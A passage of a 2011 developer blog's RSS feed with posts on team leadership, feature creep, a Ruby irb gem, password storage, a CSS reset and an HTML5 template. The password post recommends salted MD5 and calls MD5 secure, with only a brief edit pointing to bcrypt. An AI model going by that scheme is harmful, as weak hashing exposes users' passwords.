		<guid isPermaLink="false">http://blog.mostof.it/?p=587</guid>
		<description><![CDATA[Samurais are cool, but why? Is it that they wield sharp swords? No, it’s because they act cool. They act cool-headed, professional. They decide in the fraction of a second and they always get through their ways. They are zen warriors.



Now, I want this behaviour from all of my developers and team leads. Especially ...]]></description>
			<content:encoded><![CDATA[<p></p><p>Samurais are cool, but why? Is it that they wield sharp swords? No, it’s because they act cool. They act cool-headed, professional. They decide in the fraction of a second and they always get through their ways. They are zen warriors.</p>
<p><span id="more-587"></span></p>
<p>Now, I want this behaviour from all of my developers and team leads. Especially team leads as they show the way to others.</p>
<p>I want them to be like this:</p>
<p><img class="alignleft size-full wp-image-591" title="samurai" src="http://blog.mostof.it/wp-content/uploads/2011/09/tumblr_lod7s4Vsdh1qz4voq2.jpg" alt="samurai" width="186" height="262" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>And not this:</p>
<p><img class="alignleft size-full wp-image-592" title="lame kid" src="http://blog.mostof.it/wp-content/uploads/2011/09/tumblr_lod7sbDuKu1qz4voq.jpg" alt="lame kid" width="225" height="200" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>This should be easy, (really) yet somehow it poses a problem for many people. They seem to lack self-confidence and they feel they are not good enough. Well for some this might be true but most of them <em>are</em> good enough. Or <em>would be</em>. And this is the difference, this is the final step they need to take. They need to let go of fears, doubts and just do it (not a Nike ad, I swear). Hesitation kills the game. Make a bold, professionally based decision and go with it. Be the owner of your project right from the start to the end. Learn to decide and lower your reliance on others. Use your authority. That’s why you are here.</p>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/P00ov1sMwzzadfdl1EpjygfpMfs/0/da"><img src="http://feedads.g.doubleclick.net/~a/P00ov1sMwzzadfdl1EpjygfpMfs/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/P00ov1sMwzzadfdl1EpjygfpMfs/1/da"><img src="http://feedads.g.doubleclick.net/~a/P00ov1sMwzzadfdl1EpjygfpMfs/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/IH82nGwpmVA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/be-the-samurai-you-used-to-admire-when-you-were-a-kid/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/be-the-samurai-you-used-to-admire-when-you-were-a-kid/</feedburner:origLink></item>
		<item>
		<title>Escape the feature hell</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/AduRcNTaMko/</link>
		<comments>http://blog.mostof.it/escape-the-feature-hell/#comments</comments>
		<pubDate>Wed, 13 Jul 2011 09:43:48 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[it]]></category>
		<category><![CDATA[theory]]></category>
		<category><![CDATA[feature creep]]></category>
		<category><![CDATA[feature folly]]></category>
		<category><![CDATA[management]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=577</guid>
		<description><![CDATA[What is feature hell and how to escape it? Have you ever been on a project that just never seemed to get done because tons of features were planned (and added as the project went)? Well, my friend, then you've walked through feature hell. Feature hell is implementing features that will be rarely used, ...]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://blog.mostof.it/escape-the-feature-hell/"><img class="alignleft size-thumbnail wp-image-578" title="Feature hell" src="http://blog.mostof.it/wp-content/uploads/2011/07/feature_hell-150x150.jpg" alt="Feature creep" width="150" height="150" /></a>What is <strong><em>feature hell</em></strong> and how to escape it? Have you ever been on a project that just never seemed to get done because tons of features were planned (and added as the project went)? Well, my friend, then you&#8217;ve walked through feature hell. Feature hell is implementing features that will be rarely used, are not crucial and don&#8217;t deliver (much) customer value. Moreover these features can easy lead to overcomplication of the product, resulting in bad user experience and much worse maintainability. See the <a title="Feature creep" href="http://en.wikipedia.org/wiki/Feature_creep" target="_blank">wikipedia entry for feature creep</a>.</p>
<p><span id="more-577"></span></p>
<p><em>So how can we escape?</em> Well, this escape starts from above, management and product owners need a paradigm shift. They need to understand that by removing unneccessary, delaying features the product will be even more of value, not less and it will even be delivered earlier. It&#8217;s a hard thing at the beginning, &#8220;letting go&#8221; of features but after a few iterations it starts to show its value.</p>
<p><em>Nice, but how do we know which features would be useful and which wouldn&#8217;t</em>? Everyone wants their ideas implemented and delivered and they all think theirs is the most important feature ever.</p>
<p>Based on my experience most of the unimportant features can be weeded out by just taking an objective point of view and <em>thinking</em>. Yes, common sense has its proven powers. This is not always enough, measurement is also very important. Measure the usage (how many users use it, <em>how</em> they use it), try out scenarios, A/B test a lot, do focused surveys, involve many colleagues in brainstorming. Usually it&#8217;s not that hard. It takes a bit more time while planning, but spares a lot of resources when implementing. Also create project plan scenarios to show management the big win. Tell them that implementing with the top 20 features will take 2 weeks but if they want the other 15 unimportant (based on common sense and former measurements/surveys) features it will take a month. Let them choose. Trust me, everyone loves short and effective projects.</p>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/hWyQbgdY5BgDNulN0t-b58AiMmE/0/da"><img src="http://feedads.g.doubleclick.net/~a/hWyQbgdY5BgDNulN0t-b58AiMmE/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/hWyQbgdY5BgDNulN0t-b58AiMmE/1/da"><img src="http://feedads.g.doubleclick.net/~a/hWyQbgdY5BgDNulN0t-b58AiMmE/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/AduRcNTaMko" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/escape-the-feature-hell/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/escape-the-feature-hell/</feedburner:origLink></item>
		<item>
		<title>Interactive editing in irb – test ideas like a pro</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/_j_Wi2r5go0/</link>
		<comments>http://blog.mostof.it/interactive-editing-in-irb-test-ideas-like-a-pro/#comments</comments>
		<pubDate>Wed, 29 Jun 2011 10:57:53 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[irb]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[tip]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=565</guid>
		<description><![CDATA[I'm sure you've been in the situation you had to test some ideas quickly, but irb itself was not enough because the code was too complicated for a simple run-while-typing scenario, so you've created your Nth test.rb and ran ruby test.rb for the gazillionth time. You must have wondered if there's a better way. ...]]></description>
			<content:encoded><![CDATA[<p></p><p><a rel="attachment wp-att-568" href="http://blog.mostof.it/interactive-editing-in-irb-test-ideas-like-a-pro/tip-2/"><img class="alignleft size-thumbnail wp-image-568" title="tip" src="http://blog.mostof.it/wp-content/uploads/2011/06/tip-150x150.jpg" alt="" width="150" height="150" /></a>I&#8217;m sure you&#8217;ve been in the situation you had to test some ideas quickly, but irb itself was not enough because the code was too complicated for a simple run-while-typing scenario, so you&#8217;ve created your Nth test.rb and ran <strong><em>ruby test.rb</em></strong> for the gazillionth time. You must have wondered if there&#8217;s a better way. Aye. There is. It&#8217;s called interactive_editor and it&#8217;s a gem. In both meanings <img src='http://blog.mostof.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><span id="more-565"></span></p>
<p>You can do a simple <strong><em>gem install interactive_editor</em></strong> . If you want to take a closer look, see <a title="interactive_editor on github" href="https://github.com/jberkel/interactive_editor">https://github.com/jberkel/interactive_editor</a>.</p>
<p>What this gem does is basically allowing you to launch an editor from your irb session and edit your code there, which is run upon exiting from the editor. If you need to modify, just relaunch the editor and you&#8217;re presented with the code again. Priceless. In pictures &#8211; click the image for a real-world size:</p>
<p>&nbsp;</p>
<p><a href="http://blog.mostof.it/wp-content/uploads/2011/06/interactive_editor-1.png"><img class="alignleft size-large wp-image-572" title="interactive_editor-1" src="http://blog.mostof.it/wp-content/uploads/2011/06/interactive_editor-1-1024x6871.png" alt="" width="614" height="412" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Then you want to modify the code:</p>
<p><a href="http://blog.mostof.it/wp-content/uploads/2011/06/interactive_editor-2.png"><img class="alignleft size-large wp-image-573" title="interactive_editor-2" src="http://blog.mostof.it/wp-content/uploads/2011/06/interactive_editor-2-1024x6841.png" alt="" width="614" height="410" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Oh, and interactive_editor supports vim, mvim, vi, emacs, nano and textmate. Nice.</p>
<p>Another tip: you can just add this to your .irbrc so it gets auto-loaded on every irb launch:</p>
<p>&nbsp;</p>
<pre>require 'rubygems'
require 'interactive_editor'</pre>
<p>Interactive_editor leaves no trash behind, it operates using temporary files. Nice and clean.</p>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/iG4a9eXvdtr0DtnGnaWlGVbgpN8/0/da"><img src="http://feedads.g.doubleclick.net/~a/iG4a9eXvdtr0DtnGnaWlGVbgpN8/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/iG4a9eXvdtr0DtnGnaWlGVbgpN8/1/da"><img src="http://feedads.g.doubleclick.net/~a/iG4a9eXvdtr0DtnGnaWlGVbgpN8/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/_j_Wi2r5go0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/interactive-editing-in-irb-test-ideas-like-a-pro/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/interactive-editing-in-irb-test-ideas-like-a-pro/</feedburner:origLink></item>
		<item>
		<title>Secure password storage – a myth?</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/CMYxqmihnj0/</link>
		<comments>http://blog.mostof.it/secure-password-storage-a-myth/#comments</comments>
		<pubDate>Fri, 29 Apr 2011 16:36:08 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Featured Articles]]></category>
		<category><![CDATA[it]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[theory]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sony psn]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=448</guid>
		<description><![CDATA[
sony playstation, playstation network, security breach, sony hack
With Sony's recent fiasco (PSN hacked, user data, including passwords stolen) the old topic of password storage is in spotlight again. Is it really that hard to store passwords securely? Obviously not. Let me show you how a post-stone age developer would solve it and some of the ...]]></description>
			<content:encoded><![CDATA[<p></p><p><img class="size-thumbnail wp-image-450 alignleft" style="margin-left: 20px; margin-right: 20px;" title="Secure password" src="http://blog.mostof.it/wp-content/uploads/2011/04/secure_password-150x150.jpg" alt="Secure password" width="150" height="150" /></p>
<h2>sony playstation, playstation network, security breach, sony hack</h2>
<p>With <a class="zem_slink" title="Sony" rel="homepage" href="http://www.sony.com">Sony</a>&#8216;s recent <a title="Sony PSN hacked" href="http://blog.us.playstation.com/2011/04/26/update-on-playstation-network-and-qriocity/" target="_blank">fiasco</a> (<a class="zem_slink" title="PlayStation Network" rel="wikipedia" href="http://en.wikipedia.org/wiki/PlayStation_Network">PSN</a> hacked, <a class="zem_slink" title="User (computing)" rel="wikipedia" href="http://en.wikipedia.org/wiki/User_%28computing%29">user</a> data, including <a class="zem_slink" title="Password" rel="wikipedia" href="http://en.wikipedia.org/wiki/Password">passwords</a> stolen) the old topic of password storage is in spotlight again. Is it really that hard to store passwords securely? Obviously not. Let me show you how a post-stone age developer would solve it and some of the cryptographic background.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3 style="text-align: justify;"><span id="more-448"></span>First of all, what&#8217;s so wrong with storing passwords as-is (plaintext)?</h3>
<p style="text-align: justify;">Basically, it offends your users&#8217; right to privacy. You, the sysadmin, the IT guy or a hacker can get access to it. It&#8217;s a huge security risk in your service (the hacker can then impersonate your users easily) and also many users use the same passwords on many sites, so you might easily be posing a security threat to other sites, companies. Moreover, many people choose <em>personal</em> passwords &#8211; sensitive insights about them is thus revealed by their password choice. <strong><em>As a summary, it&#8217;s both unethical and insecure to store plaintext passwords.</em></strong></p>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">What&#8217;s the solution then? We have to be able to verify the user somehow upon login, don&#8217;t we? True, but for this,<em> the password itself is of no information</em>. The real information in the authorization process is whether the person on the other end of the line knows the password or not. It&#8217;s a huge difference. So how do we verfiy the knowledge itself without actually storing the information? We need something that produces some obfuscated info from the original, sensitive plaintext data (password). We have many possible candidates for this, e.g. simple <a title="Checksum" href="http://en.wikipedia.org/wiki/Checksum" target="_blank">checksum</a>, <a title="CRC, Cyclic Redundancy Check" href="http://en.wikipedia.org/wiki/Cyclic_redundancy_check" target="_blank">crc</a> , the point is that it&#8217;s like a function which always produces the same output from a single input. With such a function at hand we only need to store the result of the function, the obfuscated info, then during authorization use the same function on the typed-in password and see if the outcome is the same as the stored value.</p>
<p style="text-align: justify;">This is only one part of the whole story, though. Simple checksums and crc&#8217;s are not considered <em>secure</em>, because when someone gets hold of your database containing the obfuscated values, there are mathematically very easy (simple and fast) ways to <a title="Cracking CRC" href="http://www.woodmann.com/fravia/crctut1.htm" target="_blank">recover the original</a> password from them. Enter <strong><em><a title="Cryptographically secure hash" href="http://en.wikipedia.org/wiki/Cryptographic_hash_function" target="_blank">secure hashes</a></em></strong>.</p>
<h3 style="text-align: justify;">A secure (also called cryptographic) hash is an <a class="zem_slink" title="One-way function" rel="wikipedia" href="http://en.wikipedia.org/wiki/One-way_function">one-way function</a> which has the following properties:</h3>
<p><!-- p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Arial} --></p>
<ul>
<li>it is easy to compute the <a class="zem_slink" title="Hash function" rel="wikipedia" href="http://en.wikipedia.org/wiki/Hash_function">hash value</a> for any given message (fast forward calculation),</li>
<li>it is infeasible to generate a message that has a given hash,</li>
<li>it is infeasible to modify a message without the hash being changed,</li>
<li>it is infeasible to find two different messages with the same hash.</li>
</ul>
<p>Some of the best known secure hash algorithms are <a title="MD5" href="http://en.wikipedia.org/wiki/MD5" target="_blank">MD5</a> and <a title="Secure Hash Algorithm (SHA)" href="http://en.wikipedia.org/wiki/Secure_Hash_Algorithm" target="_blank">SHA</a>*. Their usage is quite simple: take your favourite language (or use <a class="zem_slink" title="MySQL" rel="homepage" href="http://www.mysql.com">MySQL</a>&#8216;s, etc. built-on functions), get a lib for it if these crypto functions aren&#8217;t built-in, when the user registers, calculate the hash, store it in your DB and when it&#8217;s stolen, no hacker will be able to recover the password.</p>
<p>Really? Well, not really. Simple MD5 and <a class="zem_slink" title="SHA-1" rel="wikipedia" href="http://en.wikipedia.org/wiki/SHA-1">SHA-1</a> are still quite vulnerable. There&#8217;s a clever attack on them, known as the <a title="Rainbow tables" href="http://en.wikipedia.org/wiki/Rainbow_tables" target="_blank">rainbow table</a> attack. Basically rainbow table is an efficient data structure to store precomputed hash chains. It&#8217;s like a cache for brute-force trial attack and it&#8217;s proven to be quite effective.</p>
<h3>OMG, what can I do then?</h3>
<p>Don&#8217;t panic. It&#8217;s not a lost fight. Fortunately <a title="Defense against rainbow tables" href="http://en.wikipedia.org/wiki/Rainbow_tables#Defense_against_rainbow_tables" target="_blank">rainbow table efficiency can be nulled</a> with using a very simple method: salts. <a title="Salt (cryptography)" href="http://en.wikipedia.org/wiki/Salt_(cryptography)" target="_blank">Salting</a> is adding a pre-generated (used as a constant in the registration-authorization cycle) string which you automatically add (concatenate) to the passwords before you&#8217;re giving them to the secure hash functions. For example given your pre-generated salt is &#8216;iw8ahphieBa7aesahLeenaKae3lae0ee&#8217;, when the user registers with the password &#8216;i love bunnies&#8217;, you&#8217;ll be hashing like this: stored_hash = md5(&#8216;I love bunnies iw8ahphieBa7aesahLeenaKae3lae0ee&#8217;).</p>
<p>Even better, periodically &#8216;change&#8217; your salt. Say at every 10th user you generate a new salt and from that time you use it. Of course this method requires storing additional information, like salt history, but it&#8217;s a quite secure solution.</p>
<p>Well, I hope you agree by now that secure password storage is not a myth, it&#8217;s a quite easy method. Please share your experience and further thoughts!</p>
<h2>Edit</h2>
<p>A few really nice comments came up, and after reviewing some solutions I feel you&#8217;re right &#8211; currently the best way is to use bcrypt. Thanks for the great comments and suggestions guys!</p>
<div class="zemanta-pixie" style="margin-top: 10px; height: 15px;"><a class="zemanta-pixie-a" title="Enhanced by Zemanta" href="http://www.zemanta.com/"><img class="zemanta-pixie-img" style="border: none; float: right;" src="http://blog.mostof.it/wp-content/uploads/2011/04/zemified_e.png?x-id=d6dd74d2-ac64-4984-9ff3-a853e0bfc80d" alt="Enhanced by Zemanta" /></a></div>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/jrMD6k5c4idjhzuAHufSgBt-nNw/0/da"><img src="http://feedads.g.doubleclick.net/~a/jrMD6k5c4idjhzuAHufSgBt-nNw/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/jrMD6k5c4idjhzuAHufSgBt-nNw/1/da"><img src="http://feedads.g.doubleclick.net/~a/jrMD6k5c4idjhzuAHufSgBt-nNw/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/CMYxqmihnj0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/secure-password-storage-a-myth/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/secure-password-storage-a-myth/</feedburner:origLink></item>
		<item>
		<title>A basic CSS3 reset</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/xaVDVauGMl4/</link>
		<comments>http://blog.mostof.it/a-basic-css3-reset/#comments</comments>
		<pubDate>Mon, 18 Apr 2011 05:08:35 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[css3]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=438</guid>
		<description><![CDATA[As a sequel to my HTML5 page structure article I present a basic CSS1/2/3 reset:


* { outline: 0; }
html, body { min-height: 100%;  }
body, ul, ol, dl { margin: 0; }
img { border: 0; }
article, aside, audio, footer, header, nav, section, video { display: block }
input::-moz-focus-inner, input::-moz-focus-inner { border : 0px; }
input { ...]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://blog.mostof.it/a-basic-css3-reset/css3-web-design-examples/" rel="attachment wp-att-439"><img src="http://blog.mostof.it/wp-content/uploads/2011/04/css3-web-design-examples-150x150.jpg" alt="" title="css3-web-design-examples" width="150" height="150" class="alignleft size-thumbnail wp-image-439" /></a>As a sequel to my <a href="http://blog.mostof.it/html5-page-structure/">HTML5 page structure article</a> I present a basic CSS1/2/3 reset:<br />
<span id="more-438"></span></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p438code5'); return false;">View Code</a> CSS</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p4385"><td class="code" id="p438code5"><pre class="css" style="font-family:monospace;"><span style="color: #00AA00;">*</span> <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">outline</span><span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span>
html<span style="color: #00AA00;">,</span> body <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">min-height</span><span style="color: #00AA00;">:</span> <span style="color: #933;">100%</span><span style="color: #00AA00;">;</span>  <span style="color: #00AA00;">&#125;</span>
body<span style="color: #00AA00;">,</span> ul<span style="color: #00AA00;">,</span> ol<span style="color: #00AA00;">,</span> dl <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">margin</span><span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span>
img <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">border</span><span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span>
article<span style="color: #00AA00;">,</span> aside<span style="color: #00AA00;">,</span> audio<span style="color: #00AA00;">,</span> footer<span style="color: #00AA00;">,</span> header<span style="color: #00AA00;">,</span> nav<span style="color: #00AA00;">,</span> section<span style="color: #00AA00;">,</span> video <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">block</span> <span style="color: #00AA00;">&#125;</span>
input<span style="color: #00AA00;">&#91;</span>type<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span><span style="color: #00AA00;">&#93;</span><span style="color: #00AA00;">:</span><span style="color: #3333ff;">:-moz-focus-inner</span><span style="color: #00AA00;">,</span> input<span style="color: #00AA00;">&#91;</span>type<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;button&quot;</span><span style="color: #00AA00;">&#93;</span><span style="color: #00AA00;">:</span><span style="color: #3333ff;">:-moz-focus-inner </span><span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">border</span> <span style="color: #00AA00;">:</span> <span style="color: #933;">0px</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span>
input<span style="color: #00AA00;">&#91;</span>type<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;search&quot;</span><span style="color: #00AA00;">&#93;</span> <span style="color: #00AA00;">&#123;</span> -webkit-appearance<span style="color: #00AA00;">:</span> textfield<span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span>
input<span style="color: #00AA00;">&#91;</span>type<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span><span style="color: #00AA00;">&#93;</span> <span style="color: #00AA00;">&#123;</span> -webkit-appearance<span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span>
img.<span style="color: #000000; font-weight: bold;">right</span> <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">float</span><span style="color: #00AA00;">:</span> <span style="color: #000000; font-weight: bold;">right</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">margin-left</span><span style="color: #00AA00;">:</span> <span style="color: #933;">2em</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">clear</span><span style="color: #00AA00;">:</span> <span style="color: #000000; font-weight: bold;">right</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span>
img.<span style="color: #000000; font-weight: bold;">left</span> <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">float</span><span style="color: #00AA00;">:</span> <span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">margin-right</span><span style="color: #00AA00;">:</span> <span style="color: #933;">2em</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">clear</span><span style="color: #00AA00;">:</span> <span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span>
table <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">border-collapse</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">collapse</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span>
th <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span> <span style="color: #cc00cc;">#000</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span> <span style="color: #cc00cc;">#fff</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span>
td <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span> <span style="color: #933;">1em</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">border</span><span style="color: #00AA00;">:</span> <span style="color: #933;">1px</span> <span style="color: #993333;">solid</span> <span style="color: #000000; font-weight: bold;">black</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></pre></td></tr></table></div>

<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/zHDbY--weHu3enDIQ0eNN5owtPA/0/da"><img src="http://feedads.g.doubleclick.net/~a/zHDbY--weHu3enDIQ0eNN5owtPA/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/zHDbY--weHu3enDIQ0eNN5owtPA/1/da"><img src="http://feedads.g.doubleclick.net/~a/zHDbY--weHu3enDIQ0eNN5owtPA/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/xaVDVauGMl4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/a-basic-css3-reset/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/a-basic-css3-reset/</feedburner:origLink></item>
		<item>
		<title>A html5 website template starter kit.</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/x_3ry1UqyXE/</link>
		<comments>http://blog.mostof.it/html5-page-structure/#comments</comments>
		<pubDate>Sun, 17 Apr 2011 15:52:13 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[Markup Languages]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=425</guid>
		<description><![CDATA[A html5 website template starter kit.


&#160;





&#60;!DOCTYPE HTML&#62;
&#60;html&#62;
&#60;head&#62;
&#60;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&#62;
&#60;title&#62;My shiny site&#60;/title&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;header&#62;
&#60;nav&#62;
&#60;ul&#62;
&#60;li&#62;Menu item&#60;/li&#62;
&#60;/ul&#62;
&#60;/nav&#62;
&#60;/header&#62;
&#60;section&#62;
&#60;article&#62;
&#60;header&#62;
&#60;h2&#62;Article title&#60;/h2&#62;
&#60;p&#62;Posted on &#60;time datetime="2011-04-15T16:31:24+02:00"&#62;April 15th 2011&#60;/time&#62; by &#60;a href="#"&#62;Writer&#60;/a&#62; – &#60;a href="#comments"&#62;6 comments&#60;/a&#62;&#60;/p&#62;
&#60;/header&#62;
&#60;p&#62;Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.&#60;/p&#62;
&#60;/article&#62;
&#60;article&#62;
&#60;header&#62;
&#60;h2&#62;Article title&#60;/h2&#62;
&#60;p&#62;Posted on &#60;time datetime="2011-04-15T16:31:24+02:00"&#62;April 15th 2011&#60;/time&#62;  by &#60;a href="#"&#62;Writer&#60;/a&#62; – &#60;a href="#comments"&#62;6 comments&#60;]]></description>
			<content:encoded><![CDATA[<p></p><p><a rel="attachment wp-att-434" href="http://blog.mostof.it/html5-page-structure/html5_screenshot_20110119092727_nfh/"><img class="alignleft size-thumbnail wp-image-434" title="html5_screenshot_20110119092727_nfh" src="http://blog.mostof.it/wp-content/uploads/2011/04/html5_screenshot_20110119092727_nfh-150x150.jpg" alt="" width="150" height="150" /></a>A <a>html5 website template starter kit</a>.<br />
<span id="more-425"></span></p>
<p>&nbsp;</p>
<pre><span style="color: #110000; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px; white-space: normal;">
<table style="border-collapse: collapse; width: 1030px; padding: 0px; margin: 0px !important; border: initial none initial;">
<tbody style="padding: 0px; margin: 0px;">
<tr id="p4251" style="padding: 0px; margin: 0px;">
<td id="p425code1" class="code" style="padding-top: 2px; padding-right: 4px; padding-bottom: 2px; padding-left: 4px; vertical-align: top; margin: 0px;">
<pre>&lt;!DOCTYPE HTML&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
